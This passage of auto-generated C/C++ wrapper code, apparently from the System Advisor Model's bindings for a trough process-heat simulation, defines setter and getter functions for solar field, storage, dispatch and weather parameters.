ncols, SAM_error *err){ translateExceptions(err, [&]{ ssc_data_set_matrix(ptr, "Type_cpnt", mat, nrows, ncols); }); } SAM_EXPORT void SAM_TroughPhysicalProcessHeat_SolarField_V_hdr_cold_max_nset(SAM_table ptr, double number, SAM_error *err){ translateExceptions(err, [&]{ ssc_data_set_number(ptr, "V_hdr_cold_max", number); }); } SAM_EXPORT void SAM_TroughPhysicalProcessHeat_SolarField_V_hdr_cold_min_nset(SAM_table ptr, double number, SAM_error *err){ translateExceptions(err, [&]{ ssc_data_set_number(ptr, "V_hdr_cold_min", number); }); } SAM_EXPORT void SAM_TroughPhysicalProcessHeat_SolarField_V_hdr_hot_max_nset(SAM_table ptr, double number, SAM_error *err){ translateExceptions(err, [&]{ ssc_data_set_number(ptr, "V_hdr_hot_max", number); }); } SAM_EXPORT void SAM_TroughPhysicalProcessHeat_SolarField_V_hdr_hot_min_nset(SAM_table ptr, double number, SAM_error *err){ translateExceptions(err, [&]{ ssc_data_set_number(ptr, "V_hdr_hot_min", number); }); } SAM_EXPORT void SAM_TroughPhysicalProcessHeat_SolarField_W_aperture_aset(SAM_table ptr, double* arr, int length, SAM_error *err){ translateExceptions(err, [&]{ ssc_data_set_array(ptr, "W_aperture", arr, length); }); } SAM_EXPORT void SAM_TroughPhysicalProcessHeat_SolarField_accept_init_nset(SAM_table ptr, double number, SAM_error *err){ translateExceptions(err, [&]{ ssc_data_set_number(ptr, "accept_init", number); }); } SAM_EXPORT void SAM_TroughPhysicalProcessHeat_SolarField_accept_loc_nset(SAM_table ptr, double number, SAM_error *err){ translateExceptions(err, [&]{ ssc_data_set_number(ptr, "accept_loc", number); }); } SAM_EXPORT void SAM_TroughPhysicalProcessHeat_SolarField_accept_mode_nset(SAM_table ptr, double number, SAM_error *err){ translateExceptions(err, [&]{ ssc_data_set_number(ptr, "accept_mode", number); }); } SAM_EXPORT void SAM_TroughPhysicalProcessHeat_SolarField_alpha_abs_mset(SAM_table ptr, double* mat, int nrows, int ncols, SAM_error *err){ translateExceptions(err, [&]{ ssc_data_set_matrix(ptr, "alpha_abs", mat, nrows, ncols); }); } SAM_EXPORT void SAM_TroughPhysicalProcessHeat_SolarField_alpha_env_mset(SAM_table ptr, double* mat, int nrows, int ncols, SAM_error *err){ translateExceptions(err, [&]{ ssc_data_set_matrix(ptr, "alpha_env", mat, nrows, ncols); }); } SAM_EXPORT void SAM_TroughPhysicalProcessHeat_SolarField_calc_design_pipe_vals_nset(SAM_table ptr, double number, SAM_error *err){ translateExceptions(err, [&]{ ssc_data_set_number(ptr, "calc_design_pipe_vals", number); }); } SAM_EXPORT void SAM_TroughPhysicalProcessHeat_SolarField_custom_sf_pipe_sizes_nset(SAM_table ptr, double number, SAM_error *err){ translateExceptions(err, [&]{ ssc_data_set_number(ptr, "custom_sf_pipe_sizes", number); }); } SAM_EXPORT void SAM_TroughPhysicalProcessHeat_SolarField_epsilon_3_11_mset(SAM_table ptr, double* mat, int nrows, int ncols, SAM_error *err){ translateExceptions(err, [&]{ ssc_data_set_matrix(ptr, "epsilon_3_11", mat, nrows, ncols); }); } SAM_EXPORT void SAM_TroughPhysicalProcessHeat_SolarField_epsilon_3_12_mset(SAM_table ptr, double* mat, int nrows, int ncols, SAM_error *err){ translateExceptions(err, [&]{ ssc_data_set_matrix(ptr, "epsilon_3_12", mat, nrows, ncols); }); } SAM_EXPORT void SAM_TroughPhysicalProcessHeat_SolarField_epsilon_3_13_mset(SAM_table ptr, double* mat, int nrows, int ncols, SAM_error *err){ translateExceptions(err, [&]{ ssc_data_set_matrix(ptr, "epsilon_3_13", mat, nrows, ncols); }); } SAM_EXPORT void SAM_TroughPhysicalProcessHeat_SolarField_epsilon_3_14_mset(SAM_table ptr, double* mat, int nrows, int ncols, SAM_error *err){ translateExceptions(err, [&]{ ssc_data_set_matrix(ptr, "epsilon_3_14", mat, nrows, ncols); }); } SAM_EXPORT void SAM_TroughPhysicalProcessHeat_SolarField_epsilon_3_21_mset(SAM_table ptr, double* mat, int nrows, int ncols, SAM_error *err){ translateExceptions(err, [&]{ ssc_data_set_matrix(ptr, "epsilon_3_21", mat, nrows, ncols); }); } SAM_EXPORT void SAM_TroughPhysicalProcessHeat_SolarField_epsilon_3_22_mset(SAM_table ptr, double* mat, int nrows, int ncols, SAM_error *err){ translateExceptions(err, [&]{ ssc_data_set_matrix(ptr, "epsilon_3_22", mat, nrows, ncols); }); } SAM_EXPORT void SAM_TroughPhysicalProcessHeat_SolarField_epsilon_3_23_mset(SAM_table ptr, double* mat, int nrows, int ncols, SAM_error *err){ translateExceptions(err, [&]{ ssc_data_set_matrix(ptr, "epsilon_3_23", mat, nrows, ncols); }); } SAM_EXPORT void SAM_TroughPhysicalProcessHeat_SolarField_epsilon_3_24_mset(SAM_table ptr, double* mat, int nrows, int ncols, SAM_error *err){ translateExceptions(err, [&]{ ssc_data_set_matrix(ptr, "epsilon_3_24", mat, nrows, ncols); }); } SAM_EXPORT void SAM_TroughPhysicalProcessHeat_SolarField_epsilon_3_31_mset(SAM_table ptr, double* mat, int nrows, int ncols, SAM_error *err){ translateExceptions(err, [&]{ ssc_data_set_matrix(ptr, "epsilon_3_31", mat, nrows, ncols); }); } SAM_EXPORT void SAM_TroughPhysicalProcessHeat_SolarField_epsilon_3_32_mset(SAM_table ptr, double* mat, int nrows, int ncols, SAM_error *err){ translateExceptions(err, [&]{ ssc_data_set_matrix(ptr, "epsilon_3_32", mat, nrows, ncols); }); } SAM_EXPORT void SAM_TroughPhysicalProcessHeat_SolarField_epsilon_3_33_mset(SAM_table ptr, double* mat, int nrows, int ncols, SAM_error *err){ translateExceptions(err, [&]{ ssc_data_set_matrix(ptr, "epsilon_3_33", mat, nrows, ncols); }); } SAM_EXPORT void SAM_TroughPhysicalProcessHeat_SolarField_epsilon_3_34_mset(SAM_table ptr, double* mat, int nrows, int ncols, SAM_error *err){ translateExceptions(err, [&]{ ssc_data_set_matrix(ptr, "epsilon_3_34", mat, nrows, ncols); }); } SAM_EXPORT void SAM_TroughPhysicalProcessHeat_SolarField_epsilon_3_41_mset(SAM_table ptr, double* mat, int nrows, int ncols, SAM_error *err){ translateExceptions(err, [&]{ ssc_data_set_matrix(ptr, "epsilon_3_41", mat, nrows, ncols); }); } SAM_EXPORT void SAM_TroughPhysicalProcessHeat_SolarField_epsilon_3_42_mset(SAM_table ptr, double* mat, int nrows, int ncols, SAM_error *err){ translateExceptions(err, [&]{ ssc_data_set_matrix(ptr, "epsilon_3_42", mat, nrows, ncols); }); } SAM_EXPORT void SAM_TroughPhysicalProcessHeat_SolarField_epsilon_3_43_mset(SAM_table ptr, double* mat, int nrows, int ncols, SAM_error *err){ translateExceptions(err, [&]{ ssc_data_set_matrix(ptr, "epsilon_3_43", mat, nrows, ncols); }); } SAM_EXPORT void SAM_TroughPhysicalProcessHeat_SolarField_epsilon_3_44_mset(SAM_table ptr, double* mat, int nrows, int ncols, SAM_error *err){ translateExceptions(err, [&]{ ssc_data_set_matrix(ptr, "epsilon_3_44", mat, nrows, ncols); }); } SAM_EXPORT void SAM_TroughPhysicalProcessHeat_SolarField_eta_pump_nset(SAM_table ptr, double number, SAM_error *err){ translateExceptions(err, [&]{ ssc_data_set_number(ptr, "eta_pump", number); }); } SAM_EXPORT void SAM_TroughPhysicalProcessHeat_SolarField_is_model_heat_sink_piping_nset(SAM_table ptr, double number, SAM_error *err){ translateExceptions(err, [&]{ ssc_data_set_number(ptr, "is_model_heat_sink_piping", number); }); } SAM_EXPORT void SAM_TroughPhysicalProcessHeat_SolarField_m_dot_htfmax_nset(SAM_table ptr, double number, SAM_error *err){ translateExceptions(err, [&]{ ssc_data_set_number(ptr, "m_dot_htfmax", number); }); } SAM_EXPORT void SAM_TroughPhysicalProcessHeat_SolarField_m_dot_htfmin_nset(SAM_table ptr, double number, SAM_error *err){ translateExceptions(err, [&]{ ssc_data_set_number(ptr, "m_dot_htfmin", number); }); } SAM_EXPORT void SAM_TroughPhysicalProcessHeat_SolarField_mc_bal_cold_nset(SAM_table ptr, double number, SAM_error *err){ translateExceptions(err, [&]{ ssc_data_set_number(ptr, "mc_bal_cold", number); }); } SAM_EXPORT void SAM_TroughPhysicalProcessHeat_SolarField_mc_bal_hot_nset(SAM_table ptr, double number, SAM_error *err){ translateExceptions(err, [&]{ ssc_data_set_number(ptr, "mc_bal_hot", number); }); } SAM_EXPORT void SAM_TroughPhysicalProcessHeat_SolarField_mc_bal_sca_nset(SAM_table ptr, double number, SAM_error *err){ translateExceptions(err, [&]{ ssc_data_set_number(ptr, "mc_bal_sca", number); }); } SAM_EXPORT void SAM_TroughPhysicalProcessHeat_SolarField_nColt_nset(SAM_table ptr, double number, SAM_error *err){ translateExceptions(err, [&]{ ssc_data_set_number(ptr, "nColt", number); }); } SAM_EXPORT void SAM_TroughPhysicalProcessHeat_SolarField_nHCEVar_nset(SAM_table ptr, double number, SAM_error *err){ translateExceptions(err, [&]{ ssc_data_set_number(ptr, "nHCEVar", number); }); } SAM_EXPORT void SAM_TroughPhysicalProcessHeat_SolarField_nHCEt_nset(SAM_table ptr, double number, SAM_error *err){ translateExceptions(err, [&]{ ssc_data_set_number(ptr, "nHCEt", number); }); } SAM_EXPORT void SAM_TroughPhysicalProcessHeat_SolarField_nLoops_nset(SAM_table ptr, double number, SAM_error *err){ translateExceptions(err, [&]{ ssc_data_set_number(ptr, "nLoops", number); }); } SAM_EXPORT void SAM_TroughPhysicalProcessHeat_SolarField_nSCA_nset(SAM_table ptr, double number, SAM_error *err){ translateExceptions(err, [&]{ ssc_data_set_number(ptr, "nSCA", number); }); } SAM_EXPORT void SAM_TroughPhysicalProcessHeat_SolarField_northsouth_field_sep_nset(SAM_table ptr, double number, SAM_error *err){ translateExceptions(err, [&]{ ssc_data_set_number(ptr, "northsouth_field_sep", number); }); } SAM_EXPORT void SAM_TroughPhysicalProcessHeat_SolarField_offset_xpan_hdr_nset(SAM_table ptr, double number, SAM_error *err){ translateExceptions(err, [&]{ ssc_data_set_number(ptr, "offset_xpan_hdr", number); }); } SAM_EXPORT void SAM_TroughPhysicalProcessHeat_SolarField_sf_hdr_diams_mset(SAM_table ptr, double* mat, int nrows, int ncols, SAM_error *err){ translateExceptions(err, [&]{ ssc_data_set_matrix(ptr, "sf_hdr_diams", mat, nrows, ncols); }); } SAM_EXPORT void SAM_TroughPhysicalProcessHeat_SolarField_sf_hdr_lengths_mset(SAM_table ptr, double* mat, int nrows, int ncols, SAM_error *err){ translateExceptions(err, [&]{ ssc_data_set_matrix(ptr, "sf_hdr_lengths", mat, nrows, ncols); }); } SAM_EXPORT void SAM_TroughPhysicalProcessHeat_SolarField_sf_hdr_wallthicks_mset(SAM_table ptr, double* mat, int nrows, int ncols, SAM_error *err){ translateExceptions(err, [&]{ ssc_data_set_matrix(ptr, "sf_hdr_wallthicks", mat, nrows, ncols); }); } SAM_EXPORT void SAM_TroughPhysicalProcessHeat_SolarField_sf_rnr_diams_mset(SAM_table ptr, double* mat, int nrows, int ncols, SAM_error *err){ translateExceptions(err, [&]{ ssc_data_set_matrix(ptr, "sf_rnr_diams", mat, nrows, ncols); }); } SAM_EXPORT void SAM_TroughPhysicalProcessHeat_SolarField_sf_rnr_lengths_mset(SAM_table ptr, double* mat, int nrows, int ncols, SAM_error *err){ translateExceptions(err, [&]{ ssc_data_set_matrix(ptr, "sf_rnr_lengths", mat, nrows, ncols); }); } SAM_EXPORT void SAM_TroughPhysicalProcessHeat_SolarField_sf_rnr_wallthicks_mset(SAM_table ptr, double* mat, int nrows, int ncols, SAM_error *err){ translateExceptions(err, [&]{ ssc_data_set_matrix(ptr, "sf_rnr_wallthicks", mat, nrows, ncols); }); } SAM_EXPORT void SAM_TroughPhysicalProcessHeat_SolarField_theta_dep_nset(SAM_table ptr, double number, SAM_error *err){ translateExceptions(err, [&]{ ssc_data_set_number(ptr, "theta_dep", number); }); } SAM_EXPORT void SAM_TroughPhysicalProcessHeat_SolarField_theta_stow_nset(SAM_table ptr, double number, SAM_error *err){ translateExceptions(err, [&]{ ssc_data_set_number(ptr, "theta_stow", number); }); } SAM_EXPORT void SAM_TroughPhysicalProcessHeat_SolarField_washing_frequency_nset(SAM_table ptr, double number, SAM_error *err){ translateExceptions(err, [&]{ ssc_data_set_number(ptr, "washing_frequency", number); }); } SAM_EXPORT void SAM_TroughPhysicalProcessHeat_SolarField_water_usage_per_wash_nset(SAM_table ptr, double number, SAM_error *err){ translateExceptions(err, [&]{ ssc_data_set_number(ptr, "water_usage_per_wash", number); }); } SAM_EXPORT void SAM_TroughPhysicalProcessHeat_SolarField_wind_stow_speed_nset(SAM_table ptr, double number, SAM_error *err){ translateExceptions(err, [&]{ ssc_data_set_number(ptr, "wind_stow_speed", number); }); } SAM_EXPORT void SAM_TroughPhysicalProcessHeat_Controller_disp_wlim_maxspec_nset(SAM_table ptr, double number, SAM_error *err){ translateExceptions(err, [&]{ ssc_data_set_number(ptr, "disp_wlim_maxspec", number); }); } SAM_EXPORT void SAM_TroughPhysicalProcessHeat_Controller_field_fl_props_mset(SAM_table ptr, double* mat, int nrows, int ncols, SAM_error *err){ translateExceptions(err, [&]{ ssc_data_set_matrix(ptr, "field_fl_props", mat, nrows, ncols); }); } SAM_EXPORT void SAM_TroughPhysicalProcessHeat_Controller_non_solar_field_land_area_multiplier_nset(SAM_table ptr, double number, SAM_error *err){ translateExceptions(err, [&]{ ssc_data_set_number(ptr, "non_solar_field_land_area_multiplier", number); }); } SAM_EXPORT void SAM_TroughPhysicalProcessHeat_Controller_pb_pump_coef_nset(SAM_table ptr, double number, SAM_error *err){ translateExceptions(err, [&]{ ssc_data_set_number(ptr, "pb_pump_coef", number); }); } SAM_EXPORT void SAM_TroughPhysicalProcessHeat_Controller_q_pb_design_nset(SAM_table ptr, double number, SAM_error *err){ translateExceptions(err, [&]{ ssc_data_set_number(ptr, "q_pb_design", number); }); } SAM_EXPORT void SAM_TroughPhysicalProcessHeat_Controller_specified_solar_multiple_nset(SAM_table ptr, double number, SAM_error *err){ translateExceptions(err, [&]{ ssc_data_set_number(ptr, "specified_solar_multiple", number); }); } SAM_EXPORT void SAM_TroughPhysicalProcessHeat_Controller_tanks_in_parallel_nset(SAM_table ptr, double number, SAM_error *err){ translateExceptions(err, [&]{ ssc_data_set_number(ptr, "tanks_in_parallel", number); }); } SAM_EXPORT void SAM_TroughPhysicalProcessHeat_Controller_trough_loop_control_aset(SAM_table ptr, double* arr, int length, SAM_error *err){ translateExceptions(err, [&]{ ssc_data_set_array(ptr, "trough_loop_control", arr, length); }); } SAM_EXPORT void SAM_TroughPhysicalProcessHeat_SystemDesign_tshours_nset(SAM_table ptr, double number, SAM_error *err){ translateExceptions(err, [&]{ ssc_data_set_number(ptr, "tshours", number); }); } SAM_EXPORT void SAM_TroughPhysicalProcessHeat_TES_cold_tank_Thtr_nset(SAM_table ptr, double number, SAM_error *err){ translateExceptions(err, [&]{ ssc_data_set_number(ptr, "cold_tank_Thtr", number); }); } SAM_EXPORT void SAM_TroughPhysicalProcessHeat_TES_cold_tank_max_heat_nset(SAM_table ptr, double number, SAM_error *err){ translateExceptions(err, [&]{ ssc_data_set_number(ptr, "cold_tank_max_heat", number); }); } SAM_EXPORT void SAM_TroughPhysicalProcessHeat_TES_h_tank_nset(SAM_table ptr, double number, SAM_error *err){ translateExceptions(err, [&]{ ssc_data_set_number(ptr, "h_tank", number); }); } SAM_EXPORT void SAM_TroughPhysicalProcessHeat_TES_init_hot_htf_percent_nset(SAM_table ptr, double number, SAM_error *err){ translateExceptions(err, [&]{ ssc_data_set_number(ptr, "init_hot_htf_percent", number); }); } SAM_EXPORT void SAM_TroughPhysicalProcessHeat_TES_tank_pairs_nset(SAM_table ptr, double number, SAM_error *err){ translateExceptions(err, [&]{ ssc_data_set_number(ptr, "tank_pairs", number); }); } SAM_EXPORT void SAM_TroughPhysicalProcessHeat_TES_u_tank_nset(SAM_table ptr, double number, SAM_error *err){ translateExceptions(err, [&]{ ssc_data_set_number(ptr, "u_tank", number); }); } SAM_EXPORT void SAM_TroughPhysicalProcessHeat_TES2tank_h_tank_min_nset(SAM_table ptr, double number, SAM_error *err){ translateExceptions(err, [&]{ ssc_data_set_number(ptr, "h_tank_min", number); }); } SAM_EXPORT void SAM_TroughPhysicalProcessHeat_TES2tank_hot_tank_Thtr_nset(SAM_table ptr, double number, SAM_error *err){ translateExceptions(err, [&]{ ssc_data_set_number(ptr, "hot_tank_Thtr", number); }); } SAM_EXPORT void SAM_TroughPhysicalProcessHeat_TES2tank_hot_tank_max_heat_nset(SAM_table ptr, double number, SAM_error *err){ translateExceptions(err, [&]{ ssc_data_set_number(ptr, "hot_tank_max_heat", number); }); } SAM_EXPORT void SAM_TroughPhysicalProcessHeat_Tou_ampl_data_dir_sset(SAM_table ptr, const char* str, SAM_error *err){ translateExceptions(err, [&]{ ssc_data_set_string(ptr, "ampl_data_dir", str); }); } SAM_EXPORT void SAM_TroughPhysicalProcessHeat_Tou_ampl_exec_call_sset(SAM_table ptr, const char* str, SAM_error *err){ translateExceptions(err, [&]{ ssc_data_set_string(ptr, "ampl_exec_call", str); }); } SAM_EXPORT void SAM_TroughPhysicalProcessHeat_Tou_disp_csu_cost_nset(SAM_table ptr, double number, SAM_error *err){ translateExceptions(err, [&]{ ssc_data_set_number(ptr, "disp_csu_cost", number); }); } SAM_EXPORT void SAM_TroughPhysicalProcessHeat_Tou_disp_frequency_nset(SAM_table ptr, double number, SAM_error *err){ translateExceptions(err, [&]{ ssc_data_set_number(ptr, "disp_frequency", number); }); } SAM_EXPORT void SAM_TroughPhysicalProcessHeat_Tou_disp_horizon_nset(SAM_table ptr, double number, SAM_error *err){ translateExceptions(err, [&]{ ssc_data_set_number(ptr, "disp_horizon", number); }); } SAM_EXPORT void SAM_TroughPhysicalProcessHeat_Tou_disp_max_iter_nset(SAM_table ptr, double number, SAM_error *err){ translateExceptions(err, [&]{ ssc_data_set_number(ptr, "disp_max_iter", number); }); } SAM_EXPORT void SAM_TroughPhysicalProcessHeat_Tou_disp_mip_gap_nset(SAM_table ptr, double number, SAM_error *err){ translateExceptions(err, [&]{ ssc_data_set_number(ptr, "disp_mip_gap", number); }); } SAM_EXPORT void SAM_TroughPhysicalProcessHeat_Tou_disp_pen_delta_w_nset(SAM_table ptr, double number, SAM_error *err){ translateExceptions(err, [&]{ ssc_data_set_number(ptr, "disp_pen_delta_w", number); }); } SAM_EXPORT void SAM_TroughPhysicalProcessHeat_Tou_disp_reporting_nset(SAM_table ptr, double number, SAM_error *err){ translateExceptions(err, [&]{ ssc_data_set_number(ptr, "disp_reporting", number); }); } SAM_EXPORT void SAM_TroughPhysicalProcessHeat_Tou_disp_rsu_cost_nset(SAM_table ptr, double number, SAM_error *err){ translateExceptions(err, [&]{ ssc_data_set_number(ptr, "disp_rsu_cost", number); }); } SAM_EXPORT void SAM_TroughPhysicalProcessHeat_Tou_disp_spec_bb_nset(SAM_table ptr, double number, SAM_error *err){ translateExceptions(err, [&]{ ssc_data_set_number(ptr, "disp_spec_bb", number); }); } SAM_EXPORT void SAM_TroughPhysicalProcessHeat_Tou_disp_spec_presolve_nset(SAM_table ptr, double number, SAM_error *err){ translateExceptions(err, [&]{ ssc_data_set_number(ptr, "disp_spec_presolve", number); }); } SAM_EXPORT void SAM_TroughPhysicalProcessHeat_Tou_disp_spec_scaling_nset(SAM_table ptr, double number, SAM_error *err){ translateExceptions(err, [&]{ ssc_data_set_number(ptr, "disp_spec_scaling", number); }); } SAM_EXPORT void SAM_TroughPhysicalProcessHeat_Tou_disp_steps_per_hour_nset(SAM_table ptr, double number, SAM_error *err){ translateExceptions(err, [&]{ ssc_data_set_number(ptr, "disp_steps_per_hour", number); }); } SAM_EXPORT void SAM_TroughPhysicalProcessHeat_Tou_disp_time_weighting_nset(SAM_table ptr, double number, SAM_error *err){ translateExceptions(err, [&]{ ssc_data_set_number(ptr, "disp_time_weighting", number); }); } SAM_EXPORT void SAM_TroughPhysicalProcessHeat_Tou_disp_timeout_nset(SAM_table ptr, double number, SAM_error *err){ translateExceptions(err, [&]{ ssc_data_set_number(ptr, "disp_timeout", number); }); } SAM_EXPORT void SAM_TroughPhysicalProcessHeat_Tou_dispatch_factor1_nset(SAM_table ptr, double number, SAM_error *err){ translateExceptions(err, [&]{ ssc_data_set_number(ptr, "dispatch_factor1", number); }); } SAM_EXPORT void SAM_TroughPhysicalProcessHeat_Tou_dispatch_factor2_nset(SAM_table ptr, double number, SAM_error *err){ translateExceptions(err, [&]{ ssc_data_set_number(ptr, "dispatch_factor2", number); }); } SAM_EXPORT void SAM_TroughPhysicalProcessHeat_Tou_dispatch_factor3_nset(SAM_table ptr, double number, SAM_error *err){ translateExceptions(err, [&]{ ssc_data_set_number(ptr, "dispatch_factor3", number); }); } SAM_EXPORT void SAM_TroughPhysicalProcessHeat_Tou_dispatch_factor4_nset(SAM_table ptr, double number, SAM_error *err){ translateExceptions(err, [&]{ ssc_data_set_number(ptr, "dispatch_factor4", number); }); } SAM_EXPORT void SAM_TroughPhysicalProcessHeat_Tou_dispatch_factor5_nset(SAM_table ptr, double number, SAM_error *err){ translateExceptions(err, [&]{ ssc_data_set_number(ptr, "dispatch_factor5", number); }); } SAM_EXPORT void SAM_TroughPhysicalProcessHeat_Tou_dispatch_factor6_nset(SAM_table ptr, double number, SAM_error *err){ translateExceptions(err, [&]{ ssc_data_set_number(ptr, "dispatch_factor6", number); }); } SAM_EXPORT void SAM_TroughPhysicalProcessHeat_Tou_dispatch_factor7_nset(SAM_table ptr, double number, SAM_error *err){ translateExceptions(err, [&]{ ssc_data_set_number(ptr, "dispatch_factor7", number); }); } SAM_EXPORT void SAM_TroughPhysicalProcessHeat_Tou_dispatch_factor8_nset(SAM_table ptr, double number, SAM_error *err){ translateExceptions(err, [&]{ ssc_data_set_number(ptr, "dispatch_factor8", number); }); } SAM_EXPORT void SAM_TroughPhysicalProcessHeat_Tou_dispatch_factor9_nset(SAM_table ptr, double number, SAM_error *err){ translateExceptions(err, [&]{ ssc_data_set_number(ptr, "dispatch_factor9", number); }); } SAM_EXPORT void SAM_TroughPhysicalProcessHeat_Tou_dispatch_factors_ts_aset(SAM_table ptr, double* arr, int length, SAM_error *err){ translateExceptions(err, [&]{ ssc_data_set_array(ptr, "dispatch_factors_ts", arr, length); }); } SAM_EXPORT void SAM_TroughPhysicalProcessHeat_Tou_dispatch_sched_weekday_mset(SAM_table ptr, double* mat, int nrows, int ncols, SAM_error *err){ translateExceptions(err, [&]{ ssc_data_set_matrix(ptr, "dispatch_sched_weekday", mat, nrows, ncols); }); } SAM_EXPORT void SAM_TroughPhysicalProcessHeat_Tou_dispatch_sched_weekend_mset(SAM_table ptr, double* mat, int nrows, int ncols, SAM_error *err){ translateExceptions(err, [&]{ ssc_data_set_matrix(ptr, "dispatch_sched_weekend", mat, nrows, ncols); }); } SAM_EXPORT void SAM_TroughPhysicalProcessHeat_Tou_dispatch_series_aset(SAM_table ptr, double* arr, int length, SAM_error *err){ translateExceptions(err, [&]{ ssc_data_set_array(ptr, "dispatch_series", arr, length); }); } SAM_EXPORT void SAM_TroughPhysicalProcessHeat_Tou_f_turb_tou_periods_aset(SAM_table ptr, double* arr, int length, SAM_error *err){ translateExceptions(err, [&]{ ssc_data_set_array(ptr, "f_turb_tou_periods", arr, length); }); } SAM_EXPORT void SAM_TroughPhysicalProcessHeat_Tou_is_ampl_engine_nset(SAM_table ptr, double number, SAM_error *err){ translateExceptions(err, [&]{ ssc_data_set_number(ptr, "is_ampl_engine", number); }); } SAM_EXPORT void SAM_TroughPhysicalProcessHeat_Tou_is_dispatch_nset(SAM_table ptr, double number, SAM_error *err){ translateExceptions(err, [&]{ ssc_data_set_number(ptr, "is_dispatch", number); }); } SAM_EXPORT void SAM_TroughPhysicalProcessHeat_Tou_is_dispatch_series_nset(SAM_table ptr, double number, SAM_error *err){ translateExceptions(err, [&]{ ssc_data_set_number(ptr, "is_dispatch_series", number); }); } SAM_EXPORT void SAM_TroughPhysicalProcessHeat_Tou_is_tod_pc_target_also_pc_max_nset(SAM_table ptr, double number, SAM_error *err){ translateExceptions(err, [&]{ ssc_data_set_number(ptr, "is_tod_pc_target_also_pc_max", number); }); } SAM_EXPORT void SAM_TroughPhysicalProcessHeat_Tou_is_wlim_series_nset(SAM_table ptr, double number, SAM_error *err){ translateExceptions(err, [&]{ ssc_data_set_number(ptr, "is_wlim_series", number); }); } SAM_EXPORT void SAM_TroughPhysicalProcessHeat_Tou_is_write_ampl_dat_nset(SAM_table ptr, double number, SAM_error *err){ translateExceptions(err, [&]{ ssc_data_set_number(ptr, "is_write_ampl_dat", number); }); } SAM_EXPORT void SAM_TroughPhysicalProcessHeat_Tou_ppa_multiplier_model_nset(SAM_table ptr, double number, SAM_error *err){ translateExceptions(err, [&]{ ssc_data_set_number(ptr, "ppa_multiplier_model", number); }); } SAM_EXPORT void SAM_TroughPhysicalProcessHeat_Tou_q_rec_heattrace_nset(SAM_table ptr, double number, SAM_error *err){ translateExceptions(err, [&]{ ssc_data_set_number(ptr, "q_rec_heattrace", number); }); } SAM_EXPORT void SAM_TroughPhysicalProcessHeat_Tou_q_rec_standby_nset(SAM_table ptr, double number, SAM_error *err){ translateExceptions(err, [&]{ ssc_data_set_number(ptr, "q_rec_standby", number); }); } SAM_EXPORT void SAM_TroughPhysicalProcessHeat_Tou_timestep_load_fractions_aset(SAM_table ptr, double* arr, int length, SAM_error *err){ translateExceptions(err, [&]{ ssc_data_set_array(ptr, "timestep_load_fractions", arr, length); }); } SAM_EXPORT void SAM_TroughPhysicalProcessHeat_Tou_weekday_schedule_mset(SAM_table ptr, double* mat, int nrows, int ncols, SAM_error *err){ translateExceptions(err, [&]{ ssc_data_set_matrix(ptr, "weekday_schedule", mat, nrows, ncols); }); } SAM_EXPORT void SAM_TroughPhysicalProcessHeat_Tou_weekend_schedule_mset(SAM_table ptr, double* mat, int nrows, int ncols, SAM_error *err){ translateExceptions(err, [&]{ ssc_data_set_matrix(ptr, "weekend_schedule", mat, nrows, ncols); }); } SAM_EXPORT void SAM_TroughPhysicalProcessHeat_Tou_wlim_series_aset(SAM_table ptr, double* arr, int length, SAM_error *err){ translateExceptions(err, [&]{ ssc_data_set_array(ptr, "wlim_series", arr, length); }); } SAM_EXPORT void SAM_TroughPhysicalProcessHeat_SystemControl_disp_inventory_incentive_nset(SAM_table ptr, double number, SAM_error *err){ translateExceptions(err, [&]{ ssc_data_set_number(ptr, "disp_inventory_incentive", number); }); } SAM_EXPORT void SAM_TroughPhysicalProcessHeat_System_aux_array_aset(SAM_table ptr, double* arr, int length, SAM_error *err){ translateExceptions(err, [&]{ ssc_data_set_array(ptr, "aux_array", arr, length); }); } SAM_EXPORT void SAM_TroughPhysicalProcessHeat_System_bop_array_aset(SAM_table ptr, double* arr, int length, SAM_error *err){ translateExceptions(err, [&]{ ssc_data_set_array(ptr, "bop_array", arr, length); }); } SAM_EXPORT void SAM_TroughPhysicalProcessHeat_System_pb_fixed_par_nset(SAM_table ptr, double number, SAM_error *err){ translateExceptions(err, [&]{ ssc_data_set_number(ptr, "pb_fixed_par", number); }); } SAM_EXPORT void SAM_TroughPhysicalProcessHeat_Powerblock_L_rnr_pb_nset(SAM_table ptr, double number, SAM_error *err){ translateExceptions(err, [&]{ ssc_data_set_number(ptr, "L_rnr_pb", number); }); } SAM_EXPORT double SAM_TroughPhysicalProcessHeat_Weather_azimuth_nget(SAM_table ptr, SAM_error *err){ double result; translateExceptions(err, [&]{ if (!ssc_data_get_number(ptr, "azimuth", &result)) make_access_error("SAM_TroughPhysicalProcessHeat", "azimuth"); }); return result; } SAM_EXPORT const char* SAM_TroughPhysicalProcessHeat_Weather_file_name_sget(SAM_table ptr, SAM_error *err){ const char* result = nullptr; translateExceptions(err, [&]{ result = ssc_data_get_string(ptr, "file_name"); if (!result) make_access_error("SAM_TroughPhysicalProcessHeat", "file_name"); }); return result; } SAM_EXPORT SAM_table SAM_TroughPhysicalProcessHeat_Weather_solar_resource_data_tget(SAM_table ptr, SAM_error *err){ SAM_table result = nullptr; translateExceptions(err, [&]{ result = ssc_data_get_table(ptr, "solar_resource_data"); if (!result) make_access_error("SAM_TroughPhysicalProcessHeat", "solar_resource_data"); }); return result; } SAM_EXPORT double SAM_TroughPhysicalProcessHeat_Weather_tilt_nget(SAM_table ptr, SAM_error *err){ double result; translateExceptions(err, [&]{ if (!ssc_data_get_number(ptr, "tilt", &result)) make_access_error("SAM_TroughPhysicalProcessHeat", "tilt"); }); return result; } SAM_EXPORT double SAM_TroughPhysicalProcessHeat_Weather_track_mode_nget(SAM_table ptr, SAM_error *err){ double result; translateExceptions(err, [&]{ if (!ssc_data_get_number(ptr, "track_mode", &result)) make_access_error("SAM_TroughPhysicalProcessHeat", "track_mode"); }); return result; } SAM_EXPORT double* SAM_TroughPhysicalProcessHeat_SolarField_A_aperture_aget(SAM_table ptr, int* length, SAM_error *err){ double* result = nullptr; translateExceptions(err, [&]{ result = ssc_data_get_array(ptr, "A_aperture", length); if (!result) make_access_error("SAM_TroughPhysicalProcessHeat", "A_aperture"); }); return result; } SAM_EXPORT double* SAM_TroughPhysicalProcessHeat_SolarField_AbsorberMaterial_mget(SAM_table ptr, int* nrows, int* ncols, SAM_error *err){ double* result = nullptr; translateExceptions(err, [&]{ result = ssc_data_get_matrix(ptr, "AbsorberMaterial", nrows, ncols); if (!result) make_access_error("SAM_TroughPhysicalProcessHeat", "AbsorberMaterial"); }); return result; } SAM_EXPORT double* SAM_TroughPhysicalProcessHeat_SolarField_AnnulusGas_mget(SAM_table ptr, int* nrows, int* ncols, SAM_error *err){ double* result = nullptr; 